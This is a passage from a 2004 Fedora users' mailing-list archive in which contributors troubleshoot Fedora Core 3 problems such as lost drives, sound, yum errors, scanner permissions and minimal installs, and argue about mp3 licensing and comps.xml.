kl. 19.10 skrev Michael A. Peters: >> On 11/15/2004 07:12:46 AM, Kyrre Ness Sjobak wrote: >> > Now M$ is including mp3 >> >> Apple has included mp3 for a long time. >> I have to wonder if iTunes is why MS suddenly felt they needed to >> ... > >Windows Media player has included mp3 for longer than iTunes have >existed. I think so, but one never can know if Bill paid faunhofer(sp) the 5 figure license fee to do so. I mean WTF, its coffee money for redmond. It could be that Bill is too big for faunhofer(sp) to sue. I also found it a bit hilarious that the so called demo windows media files included in the windows distros have been found to have been processed by a pirate copy of soundforge? and carry the crackers signatures. See the /. story a few days ago to clarify those details. Around 5 years ago, some friends of mine wanted to put up a free music server featureing local talent (and there are indeed a few that bear listening to), and got rather disappointed when faunhofer initially wanted $25k for the license to just have mp3's encoded from any mp3 workalike source available from their server. It didn't make any difference to them if it wasn't encoded with one of their licensed encoders or not. Several months of negotiations got it down a ways, but not enough to justify the startup to have anything but oggs on their listings. It ran for a couple of years with rather mediocre success. By mediocre, I don't think it ever paid for the hardware to do it. I don't recall how much the typical cut would charge your card, but it wasn't much as it wasn't designed to be a gold mine, but to advertise local talent. This is strike number one in the arguments about software patents. IMO, ANY and yes I'm yelling, ANY file format that intends to be a standard should be absolutely free and clear of any patent or copyright riders. mp3 fails that test in any sane court on the planet. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.29% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From DwaineGarden at rogers.com Tue Nov 16 04:30:58 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Mon, 15 Nov 2004 23:30:58 -0500 Subject: Lost Hard drives In-Reply-To: References: Message-ID: <41998282.8030304@rogers.com> JERRY WHITMIRE wrote: > After i updated my Fedora core 3 test 3 it will not find my hdb with > Win Xp. or hdc that i use for > all of my extra downloads .they are fat 32 format I know this has come > up before but i do not know how to get them back. > Can someone tell me in layman terms on how to do this? This is one of > the big feathers i found a grate need for. Any help would be a real > big help. Thanks. {Keep up the grate work on Fedora} > Jerry W. Whitmire > jerryw4386 at msn.com Have the same problem, it's a problem with udev. I upgraded the udev, and any other driver after hda does not work. You can't even mount it. The system does know about the second hard drive. But there is no way to get at it. Dwaine. From cparrish at carlparrish.com Tue Nov 16 04:54:41 2004 From: cparrish at carlparrish.com (Carl Parrish) Date: Mon, 15 Nov 2004 21:54:41 -0700 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <20041115022548.51027.qmail@web53604.mail.yahoo.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Message-ID: <41998811.9000305@carlparrish.com> George Hill wrote: >Can you do an NFS install using ISO images with FC3 as >you could with FC2? I just tried and it did not work. > >With FC2, you could boot as linux askmethod, specify >NFS, point to an NFS-mountable directory that >contained the ISO images, and install. I tried that >with FC3 and I get a message saying that it does not >look like the directory contains Fedora. When I did a >mount -o loop ... the NFS install went fine (until it >ran out of stuff to install -- I could only mount one >iso image). Anyone else run into this? Thoughts? >Thanks, > > Geo Hill > > > > >__________________________________ >Do you Yahoo!? >Check out the new Yahoo! Front Page. >www.yahoo.com > > > > So far I've installed FC3 on 3 machines using NFS. On a different note I couldn't get any of them to install from CD using the same images. -- Carl Parrish(cparrish at carlparrish.com) http://www.carlparrish.com -- Registered Linux User #295761 http://counter.li.org From lyle at torchpublishing.com.au Tue Nov 16 05:00:29 2004 From: lyle at torchpublishing.com.au (Lyle Chapman) Date: Tue, 16 Nov 2004 16:00:29 +1100 Subject: poor HD performance Message-ID: <20041116160029230732.GyazMail.lyle@torchpublishing.com.au> I installed FC3 the other day and found some really cool new features and the like but discovered a few bugs as well. I found HD performance is slow compared to FC2. I ran some copy tests between multiple disks (I have 3 fairly new ATA 133 drives and a brand new DVD burner) and I noticed that the processor usage skyrocketed (50%+ on a normal copy) and while burning to DVD is fine reading from it is severly slow. I have checked hdparm and everything seems ok yet even though my machine is relativley new (3ghz, 2gb ram etc) it seems to really struggle with disk speed. I am also running the SMP kernel with hyperthreading turned on whereas in FC2 I was running the normal kernel without hyperthreading, could that have something to do with the problem. Has anyone got the same problem and or a solution. It would be most appreciated. cheers, Lyle Chapman Pre-Press Supervisor Torch Publishing Co. 47 Allingham Street, Condell Park 2200, NSW, Australia 612 9795 0000 http://www.torchpublishing.com.au From mpeters at mac.com Tue Nov 16 05:02:53 2004 From: mpeters at mac.com (Michael A. Peters) Date: Tue, 16 Nov 2004 05:02:53 +0000 Subject: Applications for FC4 In-Reply-To: <1100545770.28755.15.camel@kyrre> (from kyrre@solution-forge.net on Mon Nov 15 11:09:30 2004) References: <1100487138.22508.107.camel@localhost.localdomain> <1100531566.2745.71.camel@kyrre> <1100542235l.3541l.0l@devel.mpeters.us> <1100545770.28755.15.camel@kyrre> Message-ID: <1100581373l.3541l.2l@devel.mpeters.us> On 11/15/2004 11:09:30 AM, Kyrre Ness Sjobak wrote: > > Windows Media player has included mp3 for longer than iTunes have > existed. Not for encoding it hasn't. From jspaleta at gmail.com Tue Nov 16 05:08:51 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 16 Nov 2004 00:08:51 -0500 Subject: Minimal install (was: Re: Features for FC4) In-Reply-To: <1100574111.3542.21.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> <1100574111.3542.21.camel@localhost.localdomain> Message-ID: <604aa79104111521083321ad8e@mail.gmail.com> On Mon, 15 Nov 2004 21:01:50 -0600, Rodolfo J. Paiz wrote: > I just found that file, for the first time in my life. Really? That's interesting. Are you actively watching and communicating on the anaconda-devel-list? Have you read up on how anaconda does things? http://fedora.redhat.com/projects/anaconda-installer/ http://fedora.redhat.com/projects/anaconda-installer/comps.html > It's 8000 lines long for Chrissakes, and even if I'm sure I can > eventually parse it that's NOT the point. You want a comps.xml file? > Then bloody freaking make it clear to people who are NOT programmers how > to read and write the thing. Don't go mouthing off about no one doing > any work. Oh im sure people find your howto useful as a workaround.... but its not a solution to the problem of getting a more sensible native "mimimal" anaconda install option. It's one thing to have a discussion as to how to rip out things post install to create a better minimum... its quite another to have a discussion as to how to include a better minimal option in the anaconda installer. For the anaconda minimum, we are running in circles until someone codifies things in the comps.xml for testing. I want this discussion to go somewhere.... i'm tired of people asking/demanding that the installer provide a better "minimal" option than it does. The only way forward in that discussion at this point is through comps.xml creation and testing that incorporates a better minimal set. I'm pretty sure at this point that the people who care about this, know what that the realisticly acheivable better minimal set basically looks like. And its certainly clear to me that on the list of priorities internal Red Hat manhours this issue is in the subbasement. The only way forward is for someone in the community starts producing a comps.xml files that other people in the community can test and beat the crap out of by rolling test images and doing installs, and that internal redhat developers can quickly diff and merge against the official comps.xml when its ready to evaluate possible incorporation. > Frankly, I'm not only pissed at your attitude, I'm also disappointed by > it. Not the usual intelligent, productive, and useful commentary I > expect from you. Really? That's amusing since this isn't the first time i've communicated these opinions, I'm nothing if not a broken record. I'm pretty sure I've been saying the exact same thing in one of the many minimal install threads every release cycle of fedora. But I am only human, I can only repeat myself so many times before even my resolve is crushed. I consider it a sign of my own personal weakness of will that i have never responded to any of your posts until this moment. I will redouble my efforts to make my opinions known in every thread where you post from now on. I must cure you of the delusion that my commentary is usually intelligent, productive or useful. > Can you at least point me to a doc showing the > structure of that thing, so we get some value out of your contribution > to this thread? Sorry, I assumed all the interested parties had read the availlable documentation at the fedora website already. http://fedora.redhat.com/projects/anaconda-installer/comps.html Is that enough? If not anaconda-devel-list might be a good place to ask for more specifics...and to beat someone up about providing better documentation. -jef From lux at diesel-research.com Tue Nov 16 06:13:45 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 23:13:45 -0700 Subject: No sound on laptop, any progress? In-Reply-To: <38f00b2a04111512295cea8c36@mail.gmail.com> References: <38f00b2a04111512295cea8c36@mail.gmail.com> Message-ID: <1100585625.4064.15.camel@localhost.localdomain> Here is what I got for comparison. My sound works with the mod you tried. Are you sure you got the spelling and capitalization correct on your entry into the blacklist ie snd-intel8x0m ? It has worked for 3 others that I know of. What kernel/distro are you running ? Have you applied your updates ? $ system-config-soundcard Simple mixer control 'PCM',0 Capabilities: pvolume pswitch pswitch-joined Playback channels: Front Left - Front Right Limits: Playback 0 - 31 Front Left: Playback 23 [74%] [on] Front Right: Playback 23 [74%] [on] Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo Warning: rate is not accurate (requested = 44100Hz, got = 48000Hz) please, try the plug plugin (-Dplug:hw:0,0) On Mon, 2004-11-15 at 21:29 +0100, Darek Borkowski wrote: > Hi > > I added snd-intel8x0m to /etc/hotplug/blacklist but it not works. > Still no sound. I got: > > [root at localhost bednar]# system-config-soundcard > Simple mixer control 'PCM',0 > Capabilities: pvolume pswitch pswitch-joined > Playback channels: Front Left - Front Right > Limits: Playback 0 - 31 > Front Left: Playback 23 [74%] [on] > Front Right: Playback 23 [74%] [on] > Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : > Signed 16 bit Little Endian, Rate 44100 Hz, Stereo > aplay: pcm_write:1115: write error: Input/output error > > Darek Borkowski > -- Kim Lux (Mr.) Diesel Research Inc From jerryw4386 at msn.com Tue Nov 16 05:52:50 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Mon, 15 Nov 2004 21:52:50 -0800 Subject: Lost hard drivers Message-ID: Hi Jerry here I guess i needed to explain where i lost the hard drives it is not in the boot up they were on Kde. and Gnome desktop. my Fedora 3 test 3 boots fine. these drives are in the boot up grub config.file. I can boot to them from there. Have did a fresh install and have mounted the drives and am trying to get it updated again. That is the hard part. Thanks to all of the people that help so for it is very helpful. Is there away to get the lost hard drivers back to Ked. and Gnome desktop after an upgrade of Fedora core 3 test 3 lost the drives again after update ? Or can someone tell me where i can get the info to get them back on my desktop hdb Windows Xp. AND hdc extra space. They are both fat 32 so it will see them THANKS AGAIN. Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Don?t just search. Find. Check out the new MSN Search! http://search.msn.click-url.com/go/onm00200636ave/direct/01/ From borkows at uci.agh.edu.pl Tue Nov 16 08:34:47 2004 From: borkows at uci.agh.edu.pl (Borkowski Dariusz) Date: Tue, 16 Nov 2004 09:34:47 +0100 Subject: No sound on laptop, any progress? Message-ID: <1100594087.15722.16.camel@zm226.zmet.agh.edu.pl> Hi Kim, I use clean installed FC3 from official ISOs and have all rpms up to date. I copied string from Your previous post to the /etc/hotplug/blacklist. I tried to put there snd-intel8x0 or snd-intel8x0m or both. None works. I would find the source of problem but I have no idea where to look. Why the snd-intel8x0m is treated as USB hotplug device? What this do to the soundcard. AFAIK snd-intel8x0m is the modem driver not soundcard. I'll try it also under KDE, but I'm used to use Gnome. regards Darek Borkowski From fedora at andrewfarris.com Tue Nov 16 11:03:19 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Tue, 16 Nov 2004 03:03:19 -0800 Subject: FC3 Server: "x" respawning too fast error In-Reply-To: <1100485230.6075.5.camel@localhost.localdomain> References: <1100485230.6075.5.camel@localhost.localdomain> Message-ID: <1100603000.3553.8.camel@andrewfarris.dev> On Sun, 2004-11-14 at 19:20 -0700, Kim Lux wrote: > I just installed FC3 server. It first booted up in init level 3. > I logged in as root. I ran "init 5" so that I could set a few things > up. > > I am getting the following error message: > > INIT: Id "x" respawning too fast: disabled for 5 minutes. > > Computer details: AMD/512 MB RAM/Nvidia/Logitech wireless keyboard and > mouse plugged into their respective PS/2 ports. Mouse didn't work > during installation. > > I can't get another session started with ctrl . Any ideas ? > > Is this an X problem ? Should I move the keyboard and mouse to the USB > port ? Unless I'm mistaken installing as 'server' does not run the X configuration or firstboot.. which would mean its not configured yet. Try: system-config-display -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From arjan at fenrus.demon.nl Tue Nov 16 12:03:01 2004 From: arjan at fenrus.demon.nl (Arjan van de Ven) Date: Tue, 16 Nov 2004 13:03:01 +0100 Subject: problem with kernel-2.6.9-1.1_FC2 initrd - can't recreate, but disturbing In-Reply-To: <20041115153008.GA6953@devserv.devel.redhat.com> References: <20041110230147.GD8800@redhat.com> <20041111003521.GA31268@jadzia.bu.edu> <20041111005430.GB25288@redhat.com> <20041111045649.GA7281@jadzia.bu.edu> <20041111050549.GA25545@redhat.com> <20041111052427.GA8207@jadzia.bu.edu> <20041111053444.GB25545@redhat.com> <1100529066.2936.27.camel@laptop.fenrus.org> <20041115150636.GA21343@devserv.devel.redhat.com> <1100531750.2936.29.camel@laptop.fenrus.org> <20041115153008.GA6953@devserv.devel.redhat.com> Message-ID: <1100606581.2811.35.camel@laptop.fenrus.org> On Mon, 2004-11-15 at 10:30 -0500, Alan Cox wrote: > On Mon, Nov 15, 2004 at 04:15:51PM +0100, Arjan van de Ven wrote: > > > > any news on getting an update for this? It's a local roothole after all > > > > and my fc2 boxes could use the securing... > > > > > > 2.6.9-ac runs nicely on Fedora Core 3 ;) > > > > I guess I could just package that into rpms... > > That would actually be quite useful for getting more testing http://zeniv.linux.org.uk/pub/people/arjan/zen/ has 2.6.9-ac9 in RPM format (yum-able) From surak at casa.surak.eti.br Tue Nov 16 12:06:18 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Tue, 16 Nov 2004 09:06:18 -0300 Subject: Minimal install (was: Re: Features for FC4) In-Reply-To: <1100575768.3542.32.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> <1100574111.3542.21.camel@localhost.localdomain> <1100575050.3553.50.camel@guyleidadell> <1100575768.3542.32.camel@localhost.localdomain> Message-ID: <1100606778.5336.5.camel@steelgoose.com> Em Ter, 2004-11-16 ?s 00:29, Rodolfo J. Paiz escreveu: > 1. If someone will kindly help me figure out how to edit the > comps.xml file without spending days on it, I'm sure I can work with the > Fedora team to knock 150MB-200MB from the FC4 minimal install. How much space we're talking about? I mean, on hd. The less I could get on a gnome system was about 600MB... -- []s Alexandre Ganso 500 FOUR vermelha - Diretor Steel Goose Moto Group From douglas.furlong at firebox.com Tue Nov 16 12:30:45 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Tue, 16 Nov 2004 12:30:45 +0000 Subject: Minimal install (was: Re: Features for FC4) In-Reply-To: <1100606778.5336.5.camel@steelgoose.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> <1100574111.3542.21.camel@localhost.localdomain> <1100575050.3553.50.camel@guyleidadell> <1100575768.3542.32.camel@localhost.localdomain> <1100606778.5336.5.camel@steelgoose.com> Message-ID: <1100608245.8955.43.camel@douglas-furlong.firebox.com> On Tue, 2004-11-16 at 09:06 -0300, Alexandre Strube wrote: > Em Ter, 2004-11-16 ?s 00:29, Rodolfo J. Paiz escreveu: > > > 1. If someone will kindly help me figure out how to edit the > > comps.xml file without spending days on it, I'm sure I can work with the > > Fedora team to knock 150MB-200MB from the FC4 minimal install. > > How much space we're talking about? I mean, on hd. The less I could get > on a gnome system was about 600MB... Alexander Rodolfo is looking to get the smallest base install possible mainly for server environments, he wishes to try and keep as much functionality, but with less "services". Once he has that, and it is installed one could use yum or up2date to get all other requirements satisfied, like installing mail servers, imap servers, ftp, dhcp, blah blah blah. This initially is not for "desktop" or "workstation" systems. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From bites at vesle.com.br Tue Nov 16 13:48:15 2004 From: bites at vesle.com.br (Bites) Date: Tue, 16 Nov 2004 10:48:15 -0300 Subject: Applications for FC4 Message-ID: <419A051F.5070404@vesle.com.br> I believe tha is necessary put in next version: samba-vscan (http://www.openantivirus.org/projects.php) From site: "samba-vscan is a proof-of-concept module for Samba, which uses the VFS (virtual file system) features of Samba 2.2.x/3.0 to provide an on-access Samba anti-virus. Of course, Samba has to be compiled with VFS support. It currently works with ClamAV (clamd/libclamav) , FRISK F-Prot Daemon , F-Secure AV , Kaspersky AntiVirus , McAfee/NAI uvscan , mks32, OpenAntiVirus ScannerDaemon, Sophos Sweep , Symantec AntiVirus Engine (via ICAP ) or Trend Micro . *The latest release is 0.3.5 *. samba-vscan is maintained by Rainer Link . samba-vscan is included in recent SUSE Linux / SUSE Linux Enterprise Server versions. Unofficial samba-vscan RPMs for SuSE Linux / SLES / UL1 can be found at SUSE's FTP server for Samba 2.2 / 3.0 . SUSE ships samba-vscan since SUSE Linux 8.1 or so, RPMs for Mandrake Linux should be available as well. samba-vscan is also in the FreeBSD ports collection. Some unofficial debs for Debian woody can be grabbed here , but this debs should be used for Samba packages built by Samba.org only! (thanks to Simo). " What do you think about that??? Does anybody know another option for antivirus and samba??? -- Mois?s Bites - bites at vesle.com.br Gerente de TI (Inform?tica) Vesle M?veis e Eletrodom?sticos Ltda Vesle Cont?bil Ltda ICQ:2153978 - MSN:mbites at brturbo.com "Jesus Cristo ? a corporifica??o do ?nico Deus Verdadeiro" --------------------------------------Usando Linux **** Linux Fedora Core 3 *** **** Mozilla Thunderbird *** Use tamb?m - Voc? vai se impressionar------------- From douglas.furlong at firebox.com Tue Nov 16 14:05:29 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Tue, 16 Nov 2004 14:05:29 +0000 Subject: Applications for FC4 In-Reply-To: <419A051F.5070404@vesle.com.br> References: <419A051F.5070404@vesle.com.br> Message-ID: <1100613929.8955.57.camel@douglas-furlong.firebox.com> On Tue, 2004-11-16 at 10:48 -0300, Bites wrote: > I believe tha is necessary put in next version: > samba-vscan (http://www.openantivirus.org/projects.php) > > From site: > "samba-vscan is a proof-of-concept module for Samba personally the phrasing of this would make me hesitant "proof of concept"? > , which uses the VFS > (virtual file system) features of Samba 2.2.x/3.0 to provide an > on-access Samba anti-virus. Of course, Samba has to be compiled with VFS > support. It currently works with ClamAV (clamd/libclamav) > , FRISK F-Prot Daemon , > F-Secure AV , Kaspersky AntiVirus > , McAfee/NAI uvscan , > mks32, OpenAntiVirus ScannerDaemon, Sophos Sweep > , Symantec AntiVirus Engine > (via ICAP ) or Trend > Micro . *The latest release is 0.3.5 > *. > samba-vscan is maintained by Rainer Link . > > samba-vscan is included in recent SUSE Linux / SUSE Linux Enterprise > Server versions. Unofficial samba-vscan RPMs for SuSE Linux / SLES / UL1 > can be found at SUSE's FTP server for Samba 2.2 / 3.0 > . SUSE ships samba-vscan since > SUSE Linux 8.1 or so, RPMs for Mandrake Linux should be available as > well. samba-vscan is also in the FreeBSD ports collection. Some > unofficial debs for Debian woody can be grabbed here > , but this debs should be > used for Samba packages built by Samba.org only! (thanks to Simo). " > > What do you think about that??? Does anybody know another option for > antivirus and samba??? I believe your best bet would be to try and get some one from fedora.us or dag, or freshrpms to try and package this up, and once it has been tested, it could find its way in by FC5 may be? I doubt we would get it straight in to FC before that. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From dcbw at redhat.com Tue Nov 16 14:22:33 2004 From: dcbw at redhat.com (Dan Williams) Date: Tue, 16 Nov 2004 09:22:33 -0500 Subject: HP Proliant ML330 Hard Disk Drivers..... In-Reply-To: <1100549144.4308.16.camel@localhost.localdomain> References: <20041111192418.C2D8974021@hormel.redhat.com> <1100549144.4308.16.camel@localhost.localdomain> Message-ID: <1100614953.11446.0.camel@dcbw.boston.redhat.com> On Mon, 2004-11-15 at 12:05 -0800, William Hewitt wrote: > I have an HP Proliant ML330 - fresh from the factory and low and > behold, they have swapped out standard IDE Controllers with some funky > on-board IDE RAID Controller (Ultra ATA IDE 100) that apparently > doesnt work with anything but RHE or RH9 or RH8...... And even then, > the documentation is lacking...... What does 'lspci' say? Dan From lux at diesel-research.com Tue Nov 16 15:15:59 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 16 Nov 2004 08:15:59 -0700 Subject: FC3 Server: "x" respawning too fast error In-Reply-To: <1100603000.3553.8.camel@andrewfarris.dev> References: <1100485230.6075.5.camel@localhost.localdomain> <1100603000.3553.8.camel@andrewfarris.dev> Message-ID: <1100618159.3419.0.camel@localhost.localdomain> That was the problem: server doesn't install X. I didn't realize that. I re installed with X and everything works fine. On Tue, 2004-11-16 at 03:03 -0800, Andrew Farris wrote: > On Sun, 2004-11-14 at 19:20 -0700, Kim Lux wrote: > > I just installed FC3 server. It first booted up in init level 3. > > I logged in as root. I ran "init 5" so that I could set a few things > > up. > > > > I am getting the following error message: > > > > INIT: Id "x" respawning too fast: disabled for 5 minutes. > > > > Computer details: AMD/512 MB RAM/Nvidia/Logitech wireless keyboard and > > mouse plugged into their respective PS/2 ports. Mouse didn't work > > during installation. > > > > I can't get another session started with ctrl . Any ideas ? > > > > Is this an X problem ? Should I move the keyboard and mouse to the USB > > port ? > > Unless I'm mistaken installing as 'server' does not run the X > configuration or firstboot.. which would mean its not configured yet. > > Try: system-config-display > > -- > Andrew Farris (lordmorgul) > - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu > "..the triumph of evil is for good men to do nothing." (Edmond Burke) > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Tue Nov 16 15:18:48 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 16 Nov 2004 08:18:48 -0700 Subject: No sound on laptop, any progress? In-Reply-To: <1100594087.15722.16.camel@zm226.zmet.agh.edu.pl> References: <1100594087.15722.16.camel@zm226.zmet.agh.edu.pl> Message-ID: <1100618328.3419.3.camel@localhost.localdomain> I think you'll have to wait for the developers to have a look at the problem. You might want to add your email to the CC list on the bug. On Tue, 2004-11-16 at 09:34 +0100, Borkowski Dariusz wrote: > Hi Kim, > > I use clean installed FC3 from official ISOs and have all rpms up to > date. I copied string from Your previous post to the > /etc/hotplug/blacklist. I tried to put there snd-intel8x0 > or snd-intel8x0m or both. None works. > I would find the source of problem but I have no idea where to look. > Why the snd-intel8x0m is treated as USB hotplug device? > What this do to the soundcard. AFAIK snd-intel8x0m is the modem driver > not soundcard. > I'll try it also under KDE, but I'm used to use Gnome. > > regards > > Darek Borkowski > > > -- Kim Lux (Mr.) Diesel Research Inc From paul at all-the-johnsons.co.uk Tue Nov 16 16:58:07 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 16 Nov 2004 16:58:07 +0000 Subject: Is yum/python still broken? Message-ID: <1100624287.2989.25.camel@localhost.localdomain> Hi, I'm trying to use yum to update my rawhide boxes and am still getting the following errors. Is it yum or python which is chiggered? TTFN Paul Traceback (most recent call last): File "/usr/bin/yum", line 8, in ? yummain.main(sys.argv[1:]) File "/usr/share/yum-cli/yummain.py", line 68, in main result, resultmsgs = base.doCommands() File "/usr/share/yum-cli/cli.py", line 381, in doCommands return self.updatePkgs() File "/usr/share/yum-cli/cli.py", line 766, in updatePkgs self.doRepoSetup() File "/usr/share/yum-cli/cli.py", line 70, in doRepoSetup repo.getRepoXML() File "/usr/lib/python2.4/site-packages/yum/repos.py", line 465, in getRepoXML result = self.get(relative=remote, local=local, copy_local=1) File "/usr/lib/python2.4/site-packages/yum/repos.py", line 443, in get checkfunc=checkfunc) File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 414, in urlgrab return self._mirror_try(func, url, kw) File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 400, in _mirror_try return func_ref( *(fullurl,), **kwargs ) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 595, in urlgrab return self._retry(opts, retryfunc, url, filename) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 527, in _retry return apply(func, (opts,) + args, {}) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 581, in retryfunc fo = URLGrabberFileObject(url, filename, opts) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 703, in __init__ self._do_open() File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 747, in _do_open fo, hdr = self._make_request(req, opener) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 823, in _make_request fo = opener.open(req) File "/usr/lib/python2.4/urllib2.py", line 364, in open response = meth(req, response) File "/usr/lib/python2.4/urllib2.py", line 468, in http_response code, msg, hdrs = response.code, response.msg, response.info() AttributeError: HTTPResponse instance has no attribute 'code' -- "I'm gonna hit the highway like a bat out of hell with a Cilla Black fan on the bike" - Meatloaf -------------- next part -------------- A non-text attachment was scrubbed... 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But when i'm in Evolution and try to reply an e- mail or to write a new mail, the X server goes full speed and "heats" all available CPU and the machine gets freezed for some time (10, 15 seconds). Did anyone seen this before? what can i do to help you understand what is going on? mpleite From whooperhsd3 at earthlink.net Tue Nov 16 17:23:51 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Tue, 16 Nov 2004 12:23:51 -0500 (EST) Subject: Is yum/python still broken? In-Reply-To: <1100624287.2989.25.camel@localhost.localdomain> References: <1100624287.2989.25.camel@localhost.localdomain> Message-ID: <2618.12.29.16.103.1100625831.squirrel@whooper.org> Paul said: > Hi, > > > I'm trying to use yum to update my rawhide boxes and am still getting > the following errors. Is it yum or python which is chiggered? Python changed. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 -- William Hooper From gstool at earthlink.net Tue Nov 16 17:27:38 2004 From: gstool at earthlink.net (Gerry Tool) Date: Tue, 16 Nov 2004 11:27:38 -0600 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only, recognized as "root" In-Reply-To: <4198C471.9010400@bchilds.com> References: <20041115135021.417CA74550@hormel.redhat.com> <4198C471.9010400@bchilds.com> Message-ID: <419A388A.900@earthlink.net> Ben Childs wrote: > >>> The question then is how one could trigger this permission change >>> while logging in to the local console. >>> >> >> >> See the bug in bugzilla about this: >> >> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121511 >> >> Tim. >> >> > Hi there, > > this is an issue with the way libusb works, just go here for detailed > instructions on how to > set up hotplug to set the permissions: > http://www.freecolormanagement.com/sane/libusb.html > > -Ben Childs > I looked at your link, and IF I can understand how to apply it to my Espon 1240U scanner, PERHAPS I can get my scanner to work without having to change permissions as root on every reboot. BUT, this bug has been recognized for 7 months, and so far all I see is a lot of bickering about who should fix it. There should be no reason for the user to have to reconfigure the system for a basic USB scanner to work. On other distributions (Ubuntu, Suse 9.1) which also have a 2.6 kernel, the scanner just works without any user fiddling. Every new version of FC seems to lose capability to easily use some device I've been using since Red Hat Linux 7.3. FC2 broke scanner use, and now FC3 has broken use of internal Zip drives (bugzilla 136971). I'm getting discouraged. Gerry From borkows at uci.agh.edu.pl Tue Nov 16 17:47:02 2004 From: borkows at uci.agh.edu.pl (Borkowski Dariusz) Date: Tue, 16 Nov 2004 18:47:02 +0100 Subject: No sound on laptop, any progress? In-Reply-To: <20041116170034.1ACAF72EA3@hormel.redhat.com> References: <20041116170034.1ACAF72EA3@hormel.redhat.com> Message-ID: <1100627222.3052.7.camel@zm226.zmet.agh.edu.pl> > I think you'll have to wait for the developers to have a look at the > problem. You might want to add your email to the CC list on the bug. I've been waiting since FC3test2 release. I alse sent a question to a person who this bug is assigned to. No reply. This bug (http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136082) is full of messages (including a lot of debug info) only from me. Darek Borkowski > On Tue, 2004-11-16 at 09:34 +0100, Borkowski Dariusz wrote: > > Hi Kim, > > > > I use clean installed FC3 from official ISOs and have all rpms up to > > date. I copied string from Your previous post to the > > /etc/hotplug/blacklist. I tried to put there snd-intel8x0 > > or snd-intel8x0m or both. None works. > > I would find the source of problem but I have no idea where to look. > > Why the snd-intel8x0m is treated as USB hotplug device? > > What this do to the soundcard. AFAIK snd-intel8x0m is the modem driver > > not soundcard. > > I'll try it also under KDE, but I'm used to use Gnome. > > > > regards > > > > Darek Borkowski > > > -- > Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Tue Nov 16 17:48:07 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 16 Nov 2004 10:48:07 -0700 Subject: Laptop as USB display device for server rack monitoring ? Message-ID: <1100627287.6473.10.camel@localhost.localdomain> Lets say I've got a rack of headless servers. They do have a video card, but no monitor. Lets say that one of them is giving trouble - won't boot, no network, etc. The way it is right now, I have to cart a monitor over to the machine in question and hook it and a mouse and keyboard up before I can work on it. Is there a way in Linux to use a USB or firewire equipped laptop as the monitor/keyboard/mouse for the servers on the rack ? Could one have a USB port on the front of each server and direct some sort of video output from it to the laptop and use the laptop display/keyboard/mouse as the input to the server ? I know about X11 and X11 forwarding and that works fine for a lot of things, but it doesn't work for watching the machine during the boot process and it won't work on a machine that has a network issue. What I am asking for, I guess, is a virtual (software) video card (device) in the server that takes the X11 display commands that would have been sent to the video card and redirects them, via the USB cable to my laptop display. The laptop would have to be running some sort of USB device software as well. Even better would be to be able to use the hard drive/cdrom drive of the laptop as if 